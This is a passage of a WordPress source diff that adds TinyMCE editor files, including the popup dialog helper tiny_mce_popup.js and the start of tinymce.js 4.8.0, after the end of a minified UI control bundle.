e.classes.add("resizehandle"),"both"===e.settings.direction&&e.classes.add("resizehandle-both"),e.canFocus=!1,'<div id="'+e._id+'" class="'+e.classes+'"><i class="'+t+"ico "+t+'i-resize"></i></div>'},postRender:function(){var t=this;t._super(),t.resizeDragHelper=new ft(this._id,{start:function(){t.fire("ResizeStart")},drag:function(e){"both"!==t.settings.direction&&(e.deltaX=0),t.fire("Resize",e)},stop:function(){t.fire("ResizeEnd")}})},remove:function(){return this.resizeDragHelper&&this.resizeDragHelper.destroy(),this._super()}});function hr(e){var t="";if(e)for(var n=0;n<e.length;n++)t+='<option value="'+e[n]+'">'+e[n]+"</option>";return t}var mr=Wt.extend({Defaults:{classes:"selectbox",role:"selectbox",options:[]},init:function(e){var n=this;n._super(e),n.settings.size&&(n.size=n.settings.size),n.settings.options&&(n._options=n.settings.options),n.on("keydown",function(e){var t;13===e.keyCode&&(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire("submit",{data:t.toJSON()}))})},options:function(e){return arguments.length?(this.state.set("options",e),this):this.state.get("options")},renderHtml:function(){var e,t=this,n="";return e=hr(t._options),t.size&&(n=' size = "'+t.size+'"'),'<select id="'+t._id+'" class="'+t.classes+'"'+n+">"+e+"</select>"},bindStates:function(){var t=this;return t.state.on("change:options",function(e){t.getEl().innerHTML=hr(e.value)}),t._super()}});function gr(e,t,n){return e<t&&(e=t),n<e&&(e=n),e}function pr(e,t,n){e.setAttribute("aria-"+t,n)}function vr(e,t){var n,i,r,o,s;"v"===e.settings.orientation?(r="top",i="height",n="h"):(r="left",i="width",n="w"),s=e.getEl("handle"),o=((e.layoutRect()[n]||100)-Ce.getSize(s)[i])*((t-e._minValue)/(e._maxValue-e._minValue))+"px",s.style[r]=o,s.style.height=e.layoutRect().h+"px",pr(s,"valuenow",t),pr(s,"valuetext",""+e.settings.previewFilter(t)),pr(s,"valuemin",e._minValue),pr(s,"valuemax",e._maxValue)}var br=Wt.extend({init:function(e){var t=this;e.previewFilter||(e.previewFilter=function(e){return Math.round(100*e)/100}),t._super(e),t.classes.add("slider"),"v"===e.orientation&&t.classes.add("vertical"),t._minValue=X(e.minValue)?e.minValue:0,t._maxValue=X(e.maxValue)?e.maxValue:100,t._initValue=t.state.get("value")},renderHtml:function(){var e=this._id,t=this.classPrefix;return'<div id="'+e+'" class="'+this.classes+'"><div id="'+e+'-handle" class="'+t+'slider-handle" role="slider" tabindex="-1"></div></div>'},reset:function(){this.value(this._initValue).repaint()},postRender:function(){var e,t,n,i,r,o,s,a,l,u,c,d,f,h,m=this;e=m._minValue,t=m._maxValue,"v"===m.settings.orientation?(n="screenY",i="top",r="height",o="h"):(n="screenX",i="left",r="width",o="w"),m._super(),function(o,s){function t(e){var t,n,i,r;t=gr(t=(((t=m.value())+(r=n=o))/((i=s)-r)+.05*e)*(i-n)-n,o,s),m.value(t),m.fire("dragstart",{value:t}),m.fire("drag",{value:t}),m.fire("dragend",{value:t})}m.on("keydown",function(e){switch(e.keyCode){case 37:case 38:t(-1);break;case 39:case 40:t(1)}})}(e,t),s=e,a=t,l=m.getEl("handle"),m._dragHelper=new ft(m._id,{handle:m._id+"-handle",start:function(e){u=e[n],c=parseInt(m.getEl("handle").style[i],10),d=(m.layoutRect()[o]||100)-Ce.getSize(l)[r],m.fire("dragstart",{value:h})},drag:function(e){var t=e[n]-u;f=gr(c+t,0,d),l.style[i]=f+"px",h=s+f/d*(a-s),m.value(h),m.tooltip().text(""+m.settings.previewFilter(h)).show().moveRel(l,"bc tc"),m.fire("drag",{value:h})},stop:function(){m.tooltip().hide(),m.fire("dragend",{value:h})}})},repaint:function(){this._super(),vr(this,this.value())},bindStates:function(){var t=this;return t.state.on("change:value",function(e){vr(t,e.value)}),t._super()}}),yr=Wt.extend({renderHtml:function(){return this.classes.add("spacer"),this.canFocus=!1,'<div id="'+this._id+'" class="'+this.classes+'"></div>'}}),xr=ar.extend({Defaults:{classes:"widget btn splitbtn",role:"button"},repaint:function(){var e,t,n=this.getEl(),i=this.layoutRect();return this._super(),e=n.firstChild,t=n.lastChild,we(e).css({width:i.w-Ce.getSize(t).width,height:i.h-2}),we(t).css({height:i.h-2}),this},activeMenu:function(e){we(this.getEl().lastChild).toggleClass(this.classPrefix+"active",e)},renderHtml:function(){var e,t,n=this,i=n._id,r=n.classPrefix,o=n.state.get("icon"),s=n.state.get("text"),a=n.settings,l="";return(e=a.image)?(o="none","string"!=typeof e&&(e=window.getSelection?e[0]:e[1]),e=" style=\"background-image: url('"+e+"')\""):e="",o=a.icon?r+"ico "+r+"i-"+o:"",s&&(n.classes.add("btn-has-text"),l='<span class="'+r+'txt">'+n.encode(s)+"</span>"),t="boolean"==typeof a.active?' aria-pressed="'+a.active+'"':"",'<div id="'+i+'" class="'+n.classes+'" role="button"'+t+' tabindex="-1"><button type="button" hidefocus="1" tabindex="-1">'+(o?'<i class="'+o+'"'+e+"></i>":"")+l+'</button><button type="button" class="'+r+'open" hidefocus="1" tabindex="-1">'+(n._menuBtnText?(o?"\xa0":"")+n._menuBtnText:"")+' <i class="'+r+'caret"></i></button></div>'},postRender:function(){var n=this.settings.onclick;return this.on("click",function(e){var t=e.target;if(e.control===this)for(;t;){if(e.aria&&"down"!==e.aria.key||"BUTTON"===t.nodeName&&-1===t.className.indexOf("open"))return e.stopImmediatePropagation(),void(n&&n.call(this,e));t=t.parentNode}}),delete this.settings.onclick,this._super()}}),wr=Ei.extend({Defaults:{containerClass:"stack-layout",controlClass:"stack-layout-item",endClass:"break"},isNative:function(){return!0}}),_r=bt.extend({Defaults:{layout:"absolute",defaults:{type:"panel"}},activateTab:function(n){var e;this.activeTabId&&(e=this.getEl(this.activeTabId),we(e).removeClass(this.classPrefix+"active"),e.setAttribute("aria-selected","false")),this.activeTabId="t"+n,(e=this.getEl("t"+n)).setAttribute("aria-selected","true"),we(e).addClass(this.classPrefix+"active"),this.items()[n].show().fire("showtab"),this.reflow(),this.items().each(function(e,t){n!==t&&e.hide()})},renderHtml:function(){var i=this,e=i._layout,r="",o=i.classPrefix;return i.preRender(),e.preRender(i),i.items().each(function(e,t){var n=i._id+"-t"+t;e.aria("role","tabpanel"),e.aria("labelledby",n),r+='<div id="'+n+'" class="'+o+'tab" unselectable="on" role="tab" aria-controls="'+e._id+'" aria-selected="false" tabIndex="-1">'+i.encode(e.settings.title)+"</div>"}),'<div id="'+i._id+'" class="'+i.classes+'" hidefocus="1" tabindex="-1"><div id="'+i._id+'-head" class="'+o+'tabs" role="tablist">'+r+'</div><div id="'+i._id+'-body" class="'+i.bodyClasses+'">'+e.renderHtml(i)+"</div></div>"},postRender:function(){var i=this;i._super(),i.settings.activeTab=i.settings.activeTab||0,i.activateTab(i.settings.activeTab),this.on("click",function(e){var t=e.target.parentNode;if(t&&t.id===i._id+"-head")for(var n=t.childNodes.length;n--;)t.childNodes[n]===e.target&&i.activateTab(n)})},initLayoutRect:function(){var e,t,n,i=this;t=(t=Ce.getSize(i.getEl("head")).width)<0?0:t,n=0,i.items().each(function(e){t=Math.max(t,e.layoutRect().minW),n=Math.max(n,e.layoutRect().minH)}),i.items().each(function(e){e.settings.x=0,e.settings.y=0,e.settings.w=t,e.settings.h=n,e.layoutRect({x:0,y:0,w:t,h:n})});var r=Ce.getSize(i.getEl("head")).height;return i.settings.minWidth=t,i.settings.minHeight=n+r,(e=i._super()).deltaH+=r,e.innerH=e.h-e.deltaH,e}}),Cr=Wt.extend({init:function(e){var n=this;n._super(e),n.classes.add("textbox"),e.multiline?n.classes.add("multiline"):(n.on("keydown",function(e){var t;13===e.keyCode&&(e.preventDefault(),n.parents().reverse().each(function(e){if(e.toJSON)return t=e,!1}),n.fire("submit",{data:t.toJSON()}))}),n.on("keyup",function(e){n.state.set("value",e.target.value)}))},repaint:function(){var e,t,n,i,r,o=this,s=0;e=o.getEl().style,t=o._layoutRect,r=o._lastRepaintRect||{};var a=document;return!o.settings.multiline&&a.all&&(!a.documentMode||a.documentMode<=8)&&(e.lineHeight=t.h-s+"px"),i=(n=o.borderBox).left+n.right+8,s=n.top+n.bottom+(o.settings.multiline?8:0),t.x!==r.x&&(e.left=t.x+"px",r.x=t.x),t.y!==r.y&&(e.top=t.y+"px",r.y=t.y),t.w!==r.w&&(e.width=t.w-i+"px",r.w=t.w),t.h!==r.h&&(e.height=t.h-s+"px",r.h=t.h),o._lastRepaintRect=r,o.fire("repaint",{},!1),o},renderHtml:function(){var t,e,n=this,i=n.settings;return t={id:n._id,hidefocus:"1"},w.each(["rows","spellcheck","maxLength","size","readonly","min","max","step","list","pattern","placeholder","required","multiple"],function(e){t[e]=i[e]}),n.disabled()&&(t.disabled="disabled"),i.subtype&&(t.type=i.subtype),(e=Ce.create(i.multiline?"textarea":"input",t)).value=n.state.get("value"),e.className=n.classes.toString(),e.outerHTML},value:function(e){return arguments.length?(this.state.set("value",e),this):(this.state.get("rendered")&&this.state.set("value",this.getEl().value),this.state.get("value"))},postRender:function(){var t=this;t.getEl().value=t.state.get("value"),t._super(),t.$el.on("change",function(e){t.state.set("value",e.target.value),t.fire("change",e)})},bindStates:function(){var t=this;return t.state.on("change:value",function(e){t.getEl().value!==e.value&&(t.getEl().value=e.value)}),t.state.on("change:disabled",function(e){t.getEl().disabled=e.value}),t._super()},remove:function(){this.$el.off(),this._super()}}),Rr=function(){return{Selector:Ue,Collection:$e,ReflowQueue:Qe,Control:st,Factory:b,KeyboardNavigation:lt,Container:ct,DragHelper:ft,Scrollable:vt,Panel:bt,Movable:Se,Resizable:yt,FloatPanel:kt,Window:Vt,MessageBox:Yt,Tooltip:Dt,Widget:Wt,Progress:Ot,Notification:Bt,Layout:Xt,AbsoluteLayout:qt,Button:jt,ButtonGroup:Gt,Checkbox:Kt,ComboBox:Qt,ColorBox:en,PanelButton:tn,ColorButton:rn,ColorPicker:sn,Path:ln,ElementPath:un,FormItem:cn,Form:dn,FieldSet:fn,FilePicker:_i,FitLayout:Ci,FlexLayout:Ri,FlowLayout:Ei,FormatControls:er,GridLayout:tr,Iframe:nr,InfoBox:ir,Label:rr,Toolbar:or,MenuBar:sr,MenuButton:ar,MenuItem:cr,Throbber:Mt,Menu:lr,ListBox:ur,Radio:dr,ResizeHandle:fr,SelectBox:mr,Slider:br,Spacer:yr,SplitButton:xr,StackLayout:wr,TabPanel:_r,TextBox:Cr,DropZone:an,BrowseButton:Jt}},Er=function(n){n.ui?w.each(Rr(),function(e,t){n.ui[t]=e}):n.ui=Rr()};w.each(Rr(),function(e,t){b.add(t,e)}),Er(window.tinymce?window.tinymce:{}),o.add("modern",function(e){return er.setup(e),$t(e)})}();
Index: /tags/5.0.20/src/wp-includes/js/tinymce/tiny_mce_popup.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/tiny_mce_popup.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/tiny_mce_popup.js	(revision 56912)
@@ -0,0 +1,542 @@
+/**
+ * tinymce_mce_popup.js
+ *
+ * Released under LGPL License.
+ * Copyright (c) 1999-2017 Ephox Corp. All rights reserved
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+var tinymce, tinyMCE;
+
+/**
+ * TinyMCE popup/dialog helper class. This gives you easy access to the
+ * parent editor instance and a bunch of other things. It's higly recommended
+ * that you load this script into your dialogs.
+ *
+ * @static
+ * @class tinyMCEPopup
+ */
+var tinyMCEPopup = {
+  /**
+   * Initializes the popup this will be called automatically.
+   *
+   * @method init
+   */
+  init: function () {
+    var self = this, parentWin, settings, uiWindow;
+
+    // Find window & API
+    parentWin = self.getWin();
+    tinymce = tinyMCE = parentWin.tinymce;
+    self.editor = tinymce.EditorManager.activeEditor;
+    self.params = self.editor.windowManager.getParams();
+
+    uiWindow = self.editor.windowManager.windows[self.editor.windowManager.windows.length - 1];
+    self.features = uiWindow.features;
+    self.uiWindow = uiWindow;
+
+    settings = self.editor.settings;
+
+    // Setup popup CSS path(s)
+    if (settings.popup_css !== false) {
+      if (settings.popup_css) {
+        settings.popup_css = self.editor.documentBaseURI.toAbsolute(settings.popup_css);
+      } else {
+        settings.popup_css = self.editor.baseURI.toAbsolute("plugins/compat3x/css/dialog.css");
+      }
+    }
+
+    if (settings.popup_css_add) {
+      settings.popup_css += ',' + self.editor.documentBaseURI.toAbsolute(settings.popup_css_add);
+    }
+
+    // Setup local DOM
+    self.dom = self.editor.windowManager.createInstance('tinymce.dom.DOMUtils', document, {
+      ownEvents: true,
+      proxy: tinyMCEPopup._eventProxy
+    });
+
+    self.dom.bind(window, 'ready', self._onDOMLoaded, self);
+
+    // Enables you to skip loading the default css
+    if (self.features.popup_css !== false) {
+      self.dom.loadCSS(self.features.popup_css || self.editor.settings.popup_css);
+    }
+
+    // Setup on init listeners
+    self.listeners = [];
+
+    /**
+     * Fires when the popup is initialized.
+     *
+     * @event onInit
+     * @param {tinymce.Editor} editor Editor instance.
+     * @example
+     * // Alerts the selected contents when the dialog is loaded
+     * tinyMCEPopup.onInit.add(function(ed) {
+     *     alert(ed.selection.getContent());
+     * });
+     *
+     * // Executes the init method on page load in some object using the SomeObject scope
+     * tinyMCEPopup.onInit.add(SomeObject.init, SomeObject);
+     */
+    self.onInit = {
+      add: function (func, scope) {
+        self.listeners.push({ func: func, scope: scope });
+      }
+    };
+
+    self.isWindow = !self.getWindowArg('mce_inline');
+    self.id = self.getWindowArg('mce_window_id');
+  },
+
+  /**
+   * Returns the reference to the parent window that opened the dialog.
+   *
+   * @method getWin
+   * @return {Window} Reference to the parent window that opened the dialog.
+   */
+  getWin: function () {
+    // Added frameElement check to fix bug: #2817583
+    return (!window.frameElement && window.dialogArguments) || opener || parent || top;
+  },
+
+  /**
+   * Returns a window argument/parameter by name.
+   *
+   * @method getWindowArg
+   * @param {String} name Name of the window argument to retrieve.
+   * @param {String} defaultValue Optional default value to return.
+   * @return {String} Argument value or default value if it wasn't found.
+   */
+  getWindowArg: function (name, defaultValue) {
+    var value = this.params[name];
+
+    return tinymce.is(value) ? value : defaultValue;
+  },
+
+  /**
+   * Returns a editor parameter/config option value.
+   *
+   * @method getParam
+   * @param {String} name Name of the editor config option to retrieve.
+   * @param {String} defaultValue Optional default value to return.
+   * @return {String} Parameter value or default value if it wasn't found.
+   */
+  getParam: function (name, defaultValue) {
+    return this.editor.getParam(name, defaultValue);
+  },
+
+  /**
+   * Returns a language item by key.
+   *
+   * @method getLang
+   * @param {String} name Language item like mydialog.something.
+   * @param {String} defaultValue Optional default value to return.
+   * @return {String} Language value for the item like "my string" or the default value if it wasn't found.
+   */
+  getLang: function (name, defaultValue) {
+    return this.editor.getLang(name, defaultValue);
+  },
+
+  /**
+   * Executed a command on editor that opened the dialog/popup.
+   *
+   * @method execCommand
+   * @param {String} cmd Command to execute.
+   * @param {Boolean} ui Optional boolean value if the UI for the command should be presented or not.
+   * @param {Object} val Optional value to pass with the comman like an URL.
+   * @param {Object} a Optional arguments object.
+   */
+  execCommand: function (cmd, ui, val, args) {
+    args = args || {};
+    args.skip_focus = 1;
+
+    this.restoreSelection();
+    return this.editor.execCommand(cmd, ui, val, args);
+  },
+
+  /**
+   * Resizes the dialog to the inner size of the window. This is needed since various browsers
+   * have different border sizes on windows.
+   *
+   * @method resizeToInnerSize
+   */
+  resizeToInnerSize: function () {
+    /*var self = this;
+
+    // Detach it to workaround a Chrome specific bug
+    // https://sourceforge.net/tracker/?func=detail&atid=635682&aid=2926339&group_id=103281
+    setTimeout(function() {
+      var vp = self.dom.getViewPort(window);
+
+      self.editor.windowManager.resizeBy(
+        self.getWindowArg('mce_width') - vp.w,
+        self.getWindowArg('mce_height') - vp.h,
+        self.id || window
+      );
+    }, 10);*/
+  },
+
+  /**
+   * Will executed the specified string when the page has been loaded. This function
+   * was added for compatibility with the 2.x branch.
+   *
+   * @method executeOnLoad
+   * @param {String} evil String to evalutate on init.
+   */
+  executeOnLoad: function (evil) {
+    this.onInit.add(function () {
+      eval(evil);
+    });
+  },
+
+  /**
+   * Stores the current editor selection for later restoration. This can be useful since some browsers
+   * looses it's selection if a control element is selected/focused inside the dialogs.
+   *
+   * @method storeSelection
+   */
+  storeSelection: function () {
+    this.editor.windowManager.bookmark = tinyMCEPopup.editor.selection.getBookmark(1);
+  },
+
+  /**
+   * Restores any stored selection. This can be useful since some browsers
+   * looses it's selection if a control element is selected/focused inside the dialogs.
+   *
+   * @method restoreSelection
+   */
+  restoreSelection: function () {
+    var self = tinyMCEPopup;
+
+    if (!self.isWindow && tinymce.isIE) {
+      self.editor.selection.moveToBookmark(self.editor.windowManager.bookmark);
+    }
+  },
+
+  /**
+   * Loads a specific dialog language pack. If you pass in plugin_url as a argument
+   * when you open the window it will load the <plugin url>/langs/<code>_dlg.js lang pack file.
+   *
+   * @method requireLangPack
+   */
+  requireLangPack: function () {
+    var self = this, url = self.getWindowArg('plugin_url') || self.getWindowArg('theme_url'), settings = self.editor.settings, lang;
+
+    if (settings.language !== false) {
+      lang = settings.language || "en";
+    }
+
+    if (url && lang && self.features.translate_i18n !== false && settings.language_load !== false) {
+      url += '/langs/' + lang + '_dlg.js';
+
+      if (!tinymce.ScriptLoader.isDone(url)) {
+        document.write('<script type="text/javascript" src="' + url + '"></script>');
+        tinymce.ScriptLoader.markDone(url);
+      }
+    }
+  },
+
+  /**
+   * Executes a color picker on the specified element id. When the user
+   * then selects a color it will be set as the value of the specified element.
+   *
+   * @method pickColor
+   * @param {DOMEvent} e DOM event object.
+   * @param {string} element_id Element id to be filled with the color value from the picker.
+   */
+  pickColor: function (e, element_id) {
+    var el = document.getElementById(element_id), colorPickerCallback = this.editor.settings.color_picker_callback;
+    if (colorPickerCallback) {
+      colorPickerCallback.call(
+        this.editor,
+        function (value) {
+          el.value = value;
+          try {
+            el.onchange();
+          } catch (ex) {
+            // Try fire event, ignore errors
+          }
+        },
+        el.value
+      );
+    }
+  },
+
+  /**
+   * Opens a filebrowser/imagebrowser this will set the output value from
+   * the browser as a value on the specified element.
+   *
+   * @method openBrowser
+   * @param {string} element_id Id of the element to set value in.
+   * @param {string} type Type of browser to open image/file/flash.
+   * @param {string} option Option name to get the file_broswer_callback function name from.
+   */
+  openBrowser: function (element_id, type) {
+    tinyMCEPopup.restoreSelection();
+    this.editor.execCallback('file_browser_callback', element_id, document.getElementById(element_id).value, type, window);
+  },
+
+  /**
+   * Creates a confirm dialog. Please don't use the blocking behavior of this
+   * native version use the callback method instead then it can be extended.
+   *
+   * @method confirm
+   * @param {String} t Title for the new confirm dialog.
+   * @param {function} cb Callback function to be executed after the user has selected ok or cancel.
+   * @param {Object} s Optional scope to execute the callback in.
+   */
+  confirm: function (t, cb, s) {
+    this.editor.windowManager.confirm(t, cb, s, window);
+  },
+
+  /**
+   * Creates a alert dialog. Please don't use the blocking behavior of this
+   * native version use the callback method instead then it can be extended.
+   *
+   * @method alert
+   * @param {String} tx Title for the new alert dialog.
+   * @param {function} cb Callback function to be executed after the user has selected ok.
+   * @param {Object} s Optional scope to execute the callback in.
+   */
+  alert: function (tx, cb, s) {
+    this.editor.windowManager.alert(tx, cb, s, window);
+  },
+
+  /**
+   * Closes the current window.
+   *
+   * @method close
+   */
+  close: function () {
+    var t = this;
+
+    // To avoid domain relaxing issue in Opera
+    function close() {
+      t.editor.windowManager.close(window);
+      tinymce = tinyMCE = t.editor = t.params = t.dom = t.dom.doc = null; // Cleanup
+    }
+
+    if (tinymce.isOpera) {
+      t.getWin().setTimeout(close, 0);
+    } else {
+      close();
+    }
+  },
+
+  // Internal functions
+
+  _restoreSelection: function () {
+    var e = window.event.srcElement;
+
+    if (e.nodeName == 'INPUT' && (e.type == 'submit' || e.type == 'button')) {
+      tinyMCEPopup.restoreSelection();
+    }
+  },
+
+  /* _restoreSelection : function() {
+      var e = window.event.srcElement;
+
+      // If user focus a non text input or textarea
+      if ((e.nodeName != 'INPUT' && e.nodeName != 'TEXTAREA') || e.type != 'text')
+        tinyMCEPopup.restoreSelection();
+    },*/
+
+  _onDOMLoaded: function () {
+    var t = tinyMCEPopup, ti = document.title, h, nv;
+
+    // Translate page
+    if (t.features.translate_i18n !== false) {
+      var map = {
+        "update": "Ok",
+        "insert": "Ok",
+        "cancel": "Cancel",
+        "not_set": "--",
+        "class_name": "Class name",
+        "browse": "Browse"
+      };
+
+      var langCode = (tinymce.settings ? tinymce.settings : t.editor.settings).language || 'en';
+      for (var key in map) {
+        tinymce.i18n.data[langCode + "." + key] = tinymce.i18n.translate(map[key]);
+      }
+
+      h = document.body.innerHTML;
+
+      // Replace a=x with a="x" in IE
+      if (tinymce.isIE) {
+        h = h.replace(/ (value|title|alt)=([^"][^\s>]+)/gi, ' $1="$2"');
+      }
+
+      document.dir = t.editor.getParam('directionality', '');
+
+      if ((nv = t.editor.translate(h)) && nv != h) {
+        document.body.innerHTML = nv;
+      }
+
+      if ((nv = t.editor.translate(ti)) && nv != ti) {
+        document.title = ti = nv;
+      }
+    }
+
+    if (!t.editor.getParam('browser_preferred_colors', false) || !t.isWindow) {
+      t.dom.addClass(document.body, 'forceColors');
+    }
+
+    document.body.style.display = '';
+
+    // Restore selection in IE when focus is placed on a non textarea or input element of the type text
+    if (tinymce.Env.ie) {
+      if (tinymce.Env.ie < 11) {
+        document.attachEvent('onmouseup', tinyMCEPopup._restoreSelection);
+
+        // Add base target element for it since it would fail with modal dialogs
+        t.dom.add(t.dom.select('head')[0], 'base', { target: '_self' });
+      } else {
+        document.addEventListener('mouseup', tinyMCEPopup._restoreSelection, false);
+      }
+    }
+
+    t.restoreSelection();
+    t.resizeToInnerSize();
+
+    // Set inline title
+    if (!t.isWindow) {
+      t.editor.windowManager.setTitle(window, ti);
+    } else {
+      window.focus();
+    }
+
+    if (!tinymce.isIE && !t.isWindow) {
+      t.dom.bind(document, 'focus', function () {
+        t.editor.windowManager.focus(t.id);
+      });
+    }
+
+    // Patch for accessibility
+    tinymce.each(t.dom.select('select'), function (e) {
+      e.onkeydown = tinyMCEPopup._accessHandler;
+    });
+
+    // Call onInit
+    // Init must be called before focus so the selection won't get lost by the focus call
+    tinymce.each(t.listeners, function (o) {
+      o.func.call(o.scope, t.editor);
+    });
+
+    // Move focus to window
+    if (t.getWindowArg('mce_auto_focus', true)) {
+      window.focus();
+
+      // Focus element with mceFocus class
+      tinymce.each(document.forms, function (f) {
+        tinymce.each(f.elements, function (e) {
+          if (t.dom.hasClass(e, 'mceFocus') && !e.disabled) {
+            e.focus();
+            return false; // Break loop
+          }
+        });
+      });
+    }
+
+    document.onkeyup = tinyMCEPopup._closeWinKeyHandler;
+
+    if ('textContent' in document) {
+      t.uiWindow.getEl('head').firstChild.textContent = document.title;
+    } else {
+      t.uiWindow.getEl('head').firstChild.innerText = document.title;
+    }
+  },
+
+  _accessHandler: function (e) {
+    e = e || window.event;
+
+    if (e.keyCode == 13 || e.keyCode == 32) {
+      var elm = e.target || e.srcElement;
+
+      if (elm.onchange) {
+        elm.onchange();
+      }
+
+      return tinymce.dom.Event.cancel(e);
+    }
+  },
+
+  _closeWinKeyHandler: function (e) {
+    e = e || window.event;
+
+    if (e.keyCode == 27) {
+      tinyMCEPopup.close();
+    }
+  },
+
+  _eventProxy: function (id) {
+    return function (evt) {
+      tinyMCEPopup.dom.events.callNativeHandler(id, evt);
+    };
+  }
+};
+
+tinyMCEPopup.init();
+
+tinymce.util.Dispatcher = function (scope) {
+  this.scope = scope || this;
+  this.listeners = [];
+
+  this.add = function (callback, scope) {
+    this.listeners.push({ cb: callback, scope: scope || this.scope });
+
+    return callback;
+  };
+
+  this.addToTop = function (callback, scope) {
+    var self = this, listener = { cb: callback, scope: scope || self.scope };
+
+    // Create new listeners if addToTop is executed in a dispatch loop
+    if (self.inDispatch) {
+      self.listeners = [listener].concat(self.listeners);
+    } else {
+      self.listeners.unshift(listener);
+    }
+
+    return callback;
+  };
+
+  this.remove = function (callback) {
+    var listeners = this.listeners, output = null;
+
+    tinymce.each(listeners, function (listener, i) {
+      if (callback == listener.cb) {
+        output = listener;
+        listeners.splice(i, 1);
+        return false;
+      }
+    });
+
+    return output;
+  };
+
+  this.dispatch = function () {
+    var self = this, returnValue, args = arguments, i, listeners = self.listeners, listener;
+
+    self.inDispatch = true;
+
+    // Needs to be a real loop since the listener count might change while looping
+    // And this is also more efficient
+    for (i = 0; i < listeners.length; i++) {
+      listener = listeners[i];
+      returnValue = listener.cb.apply(listener.scope, args.length > 0 ? args : [listener.scope]);
+
+      if (returnValue === false) {
+        break;
+      }
+    }
+
+    self.inDispatch = false;
+
+    return returnValue;
+  };
+};
Index: /tags/5.0.20/src/wp-includes/js/tinymce/tinymce.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/tinymce/tinymce.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/tinymce/tinymce.js	(revision 56912)
@@ -0,0 +1,26767 @@
+// 4.8.0 (2018-06-27)
+(function () {
+(function () {
+  'use strict';
+
+  var noop = function () {
+    var x = [];
+    for (var _i = 0; _i < arguments.length; _i++) {
+      x[_i] = arguments[_i];
+    }
+  };
+
+  var compose = function (fa, fb) {
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      return fa(fb.apply(null, arguments));
+    };
+  };
+  var constant = function (value) {
+    return function () {
+      return value;
+    };
+  };
+  var identity = function (x) {
+    return x;
+  };
+
+  var curry = function (f) {
+    var x = [];
+    for (var _i = 1; _i < arguments.length; _i++) {
+      x[_i - 1] = arguments[_i];
+    }
+    var args = new Array(arguments.length - 1);
+    for (var i = 1; i < arguments.length; i++)
+      args[i - 1] = arguments[i];
+    return function () {
+      var x = [];
+      for (var _i = 0; _i < arguments.length; _i++) {
+        x[_i] = arguments[_i];
+      }
+      var newArgs = new Array(arguments.length);
+      for (var j = 0; j < newArgs.length; j++)
+        newArgs[j] = arguments[j];
+      var all = args.concat(newArgs);
+      return f.apply(null, all);
+    };
+  };
+
+  var die = function (msg) {
+    return function () {
+      throw new Error(msg);
+    };
+  };
+
+
+  var never = constant(false);
+  var always = constant(true);
+
+  var never$1 = never;
+  var always$1 = always;
+  var none = function () {
+    return NONE;
+  };
+  var NONE = function () {
+    var eq = function (o) {
+      return o.isNone();
+    };
+    var call$$1 = function (thunk) {
+      return thunk();
+    };
+    var id = function (n) {
+      return n;
+    };
+    var noop$$1 = function () {
+    };
+    var nul = function () {
+      return null;
+    };
+    var undef = function () {
+      return undefined;
+    };
+    var me = {
+      fold: function (n, s) {
+        return n();
+      },
+      is: never$1,
+      isSome: never$1,
+      isNone: always$1,
+      getOr: id,
+      getOrThunk: call$$1,
+      getOrDie: function (msg) {
+        throw new Error(msg || 'error: getOrDie called on none.');
+      },
+      getOrNull: nul,
+      getOrUndefined: undef,
+      or: id,
+      orThunk: call$$1,
+      map: none,
+      ap: none,
+      each: noop$$1,
+      bind: none,
+      flatten: none,
+      exists: never$1,
+      forall: always$1,
+      filter: none,
+      equals: eq,
+      equals_: eq,
+      toArray: function () {
+        return [];
+      },
+      toString: constant('none()')
+    };
+    if (Object.freeze)
+      Object.freeze(me);
+    return me;
+  }();
+  var some = function (a) {
+    var constant_a = function () {
+      return a;
+    };
+    var self = function () {
+      return me;
+    };
+    var map = function (f) {
+      return some(f(a));
+    };
+    var bind = function (f) {
+      return f(a);
+    };
+    var me = {
+      fold: function (n, s) {
+        return s(a);
+      },
+      is: function (v) {
+        return a === v;
+      },
+      isSome: always$1,
+      isNone: never$1,
+      getOr: constant_a,
+      getOrThunk: constant_a,
+      getOrDie: constant_a,
+      getOrNull: constant_a,
+      getOrUndefined: constant_a,
+      or: self,
+      orThunk: self,
+      map: map,
+      ap: function (optfab) {
+        return optfab.fold(none, function (fab) {
+          return some(fab(a));
+        });
+      },
+      each: function (f) {
+        f(a);
+      },
+      bind: bind,
+      flatten: constant_a,
+      exists: bind,
+      forall: bind,
+      filter: function (f) {
+        return f(a) ? me : NONE;
+      },
+      equals: function (o) {
+        return o.is(a);
+      },
+      equals_: function (o, elementEq) {
+        return o.fold(never$1, function (b) {
+          return elementEq(a, b);
+        });
+      },
+      toArray: function () {
+        return [a];
+      },
+      toString: function () {
+        return 'some(' + a + ')';
+      }
+    };
+    return me;
+  };
+  var from = function (value) {
+    return value === null || value === undefined ? NONE : some(value);
+  };
+  var Option = {
+    some: some,
+    none: none,
+    from: from
+  };
+
+  var typeOf = function (x) {
+    if (x === null)
+      return 'null';
+    var t = typeof x;
+    if (t === 'object' && Array.prototype.isPrototypeOf(x))
+      return 'array';
+    if (t === 'object' && String.prototype.isPrototypeOf(x))
+      return 'string';
+    return t;
+  };
+  var isType = function (type) {
+    return function (value) {
+      return typeOf(value) === type;
+    };
+  };
+  var isString = isType('string');
+  var isObject = isType('object');
+  var isArray = isType('array');
+  var isNull = isType('null');
+  var isBoolean = isType('boolean');
+
+  var isFunction = isType('function');
+  var isNumber = isType('number');
+
+  var rawIndexOf = function () {
+    var pIndexOf = Array.prototype.indexOf;
+    var fastIndex = function (xs, x) {
+      return pIndexOf.call(xs, x);
+    };
+    var slowIndex = function (xs, x) {
+      return slowIndexOf(xs, x);
+    };
+    return pIndexOf === undefined ? slowIndex : fastIndex;
+  }();
+  var indexOf = function (xs, x) {
+    var r = rawIndexOf(xs, x);
+    return r === -1 ? Option.none() : Option.some(r);
+  };
+  var contains = function (xs, x) {
+    return rawIndexOf(xs, x) > -1;
+  };
+  var exists = function (xs, pred) {
+    return findIndex(xs, pred).isSome();
+  };
+
+
+  var map = function (xs, f) {
+    var len = xs.length;
+    var r = new Array(len);
+    for (var i = 0; i < len; i++) {
+      var x = xs[i];
+      r[i] = f(x, i, xs);
+    }
+    return r;
+  };
